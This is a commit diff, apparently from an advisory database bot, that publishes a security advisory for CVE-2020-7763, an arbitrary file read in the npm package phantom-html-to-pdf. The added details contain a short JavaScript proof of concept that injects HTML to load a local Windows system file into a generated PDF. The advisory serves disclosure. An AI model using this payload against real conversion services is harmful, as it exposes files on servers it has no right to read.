Publish GHSA-6h7f-qwqm-35pp

This commit is contained in:
advisory-database[bot]
2023-09-07 22:37:37 +00:00
parent e7400ad10d
commit 28270984e4
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-6h7f-qwqm-35pp",
"modified": "2021-07-29T20:38:31Z",
"modified": "2023-09-07T22:36:42Z",
"published": "2020-11-06T18:06:16Z",
"aliases": [
"CVE-2020-7763"
],
"summary": "Arbitrary File Read in phantom-html-to-pdf",
"details": "This affects the package phantom-html-to-pdf before 0.6.1.",
"details": "This affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require('fs') var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n html: \"document.write(window.location='c:/windows/win.ini')\"\n}, function(err, pdf) {\n var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);\n console.log(pdf.numberOfPages);\n pdf.stream.pipe(output);\n});\n```",
"severity": [
{
"type": "CVSS_V3",
@@ -20,12 +20,20 @@
"ecosystem": "npm",
"name": "phantom-html-to-pdf"
},
"ecosystem_specific": {
"affected_functions": [
""
]
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.2"
}
]
}